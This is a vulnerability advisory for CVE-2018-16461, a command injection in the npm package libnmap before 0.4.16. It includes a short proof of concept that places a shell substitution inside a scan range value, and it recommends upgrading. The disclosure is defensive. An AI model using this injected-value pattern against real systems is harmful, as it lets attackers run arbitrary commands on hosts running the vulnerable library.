Advisory

GHSA-7g2w-6r25-2j7p

Also known as: CVE-2018-16461

Summary

Command Injection in libnmap

Details

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2018-11-01 14:51 UTC
Modified
2023-11-08 03:59 UTC

Affected packages and fixes

libnmap

npm · All systems

Affected

  • introduced 0, fixed 0.4.16 (semver)

Fixed versions

0.4.16

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences